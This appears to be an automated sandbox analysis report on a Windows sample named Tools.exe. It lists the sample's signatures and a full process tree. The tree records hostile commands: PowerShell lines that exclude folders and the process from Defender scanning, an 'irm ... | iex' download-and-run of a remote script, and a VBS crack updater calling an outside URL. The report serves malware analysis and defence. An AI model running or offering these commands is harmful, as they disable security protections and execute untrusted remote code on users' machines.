Analysis
- user interaction
yes - max time kernel
1049s - max time network
1052s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/05/2026, 00:35
General
- Target Tools.exe
- Size 11.8MB
- Sample260511-axd7ragx71
- SHA256 49e1216ec23228845567417f4e2814b87bdcc56594c6e8d37f6e1ffb4ac20576
Score
10/10
Malware Config
Signatures
- UAC bypass 3 TTPs 3 IoCs
- Badlisted process makes network request 22 IoCs
Network request originating from process or tool commonly abused by malware.
- Blocks application from running via registry modification 1 IoCs
Adds application to list of disallowed applications.
- Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs
Run Powershell and hide display window.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Disables cmd.exe use via registry modification 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 27 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Enumerates processes with tasklist 1 TTPs 4 IoCs
- Drops file in Program Files directory 46 IoCs
- Launches sc.exe 37 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 6 IoCs
- Modifies data under HKEY_USERS 23 IoCs
- Modifies registry class 5 IoCs
- Modifies registry key 1 TTPs 53 IoCs
- Runs ping.exe 1 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tools.exe"C:\Users\Admin\AppData\Local\Temp\Tools.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Tools.exe"C:\Users\Admin\AppData\Local\Temp\Tools.exe"2⤵
- UAC bypass
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "gpupdate /force"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\gpupdate.exegpupdate /force4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /fi "imagename eq vboxservice""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq vboxservice"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /fi "imagename eq vboxtray""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq vboxtray"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /fi "imagename eq vmtoolsd""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq vmtoolsd"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /fi "imagename eq vmwaretray""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /fi "imagename eq vmwaretray"4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\getmac.exegetmac4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp" -Force""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp" -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess "Tools.exe" -Force""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess "Tools.exe" -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\ED4MT1O5_ggvbogze\program1.exe"C:\Users\Admin\AppData\Local\Temp\ED4MT1O5_ggvbogze\program1.exe"3⤵
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\\CRK_UPDT_aqrld1u.vbs" "https://idm.0dy.ir/" "Version" "Download_URL" "20.6" "Crack" "C:\Program Files\Google\Chrome\Application\chrome.exe" silent4⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://internetdownloadmanager.com/4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7fff70dcc728,0x7fff70dcc734,0x7fff70dcc7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1996,i,6696956406902938338,16703479825169997383,524288 --field-trial-handle=2092,i,9129598071422684888,7437642317813207744,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2136 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1724,i,11030468940687468200,6079911344283977431,262144 --field-trial-handle=2092,i,9129598071422684888,7437642317813207744,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2084 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,17133379931299057131,6981483188923346202,524288 --field-trial-handle=2092,i,9129598071422684888,7437642317813207744,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2560 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3172,i,15903903976382421554,7399781899709315611,2097152 --field-trial-handle=2092,i,9129598071422684888,7437642317813207744,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3224 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3176,i,3627199801368179335,2264863790946528396,2097152 --field-trial-handle=2092,i,9129598071422684888,7437642317813207744,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3232 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4428,i,12243286305573628532,12750638576629882035,2097152 --field-trial-handle=2092,i,9129598071422684888,7437642317813207744,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4432 /prefetch:25⤵
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -Command "irm https://christitus.com/win | iex"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cnqqw4eq\cnqqw4eq.cmdline"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEA4B.tmp" "c:\Users\Admin\AppData\Local\Temp\cnqqw4eq\CSC59D46C9D0AD4FE3BDB3492E5701A.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\03reluqb\03reluqb.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7CB8.tmp" "c:\Users\Admin\AppData\Local\Temp\03reluqb\CSCD3656248F7CE4C8F94EF3A917F57A2D.TMP"6⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 52085⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Minimized -File "C:\Users\Admin\AppData\Local\Temp\\MASAIO.ps1"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\MAS_AIO_WIN.ps1"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo CMD is working"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd" -el "6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /c ""C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd" -el re1"7⤵
-
C:\Windows\System32\sc.exesc query Null8⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"8⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd"8⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el " "8⤵
-
-
C:\Windows\System32\find.exefind /i "/"8⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver8⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV28⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"8⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "8⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"8⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd8⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "9⤵
-
-
C:\Windows\System32\cmd.execmd9⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd" "8⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"8⤵
-
-
C:\Windows\System32\fltMC.exefltmc8⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con8⤵
-
C:\Windows\System32\mode.commode con9⤵
-
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit8⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "0x0"8⤵
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d 0 /f8⤵
- Modifies registry key
-
-
C:\Windows\System32\cmd.execmd.exe /c ""C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd" -el -qedit"8⤵
-
C:\Windows\System32\sc.exesc query Null9⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"9⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "9⤵
-
-
C:\Windows\System32\find.exefind /i "/"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver9⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV29⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "9⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd9⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "10⤵
-
-
C:\Windows\System32\cmd.execmd10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd" "9⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"9⤵
-
-
C:\Windows\System32\fltMC.exefltmc9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"10⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con9⤵
-
C:\Windows\System32\mode.commode con10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 activated.win9⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 activated.win10⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 updatecheck311.activated.win9⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 updatecheck311.activated.win10⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "9⤵
-
-
C:\Windows\System32\find.exefind /i "/S"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "9⤵
-
-
C:\Windows\System32\find.exefind /i "/"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop9⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop10⤵
-
-
-
C:\Windows\System32\mode.commode 76, 349⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds9⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"9⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds9⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "O365"9⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345678EH0 /N9⤵
-
-
C:\Windows\System32\mode.commode 110, 349⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s9⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"9⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts9⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc9⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "9⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"9⤵
-
-
C:\Windows\System32\cmd.execmd /c "wmic path Win32_ComputerSystem get CreationClassName /value"9⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value10⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\find.exefind /i "computersystem"9⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2>nul9⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn10⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2>nul9⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST10⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Windows\Temp\MAS_599a3f6e-b0e8-4ecf-b2bb-9cf6b8853602.cmd') -split ':winsubstatus\:.*';. ([scriptblock]::Create($f[1]))"9⤵
-
-
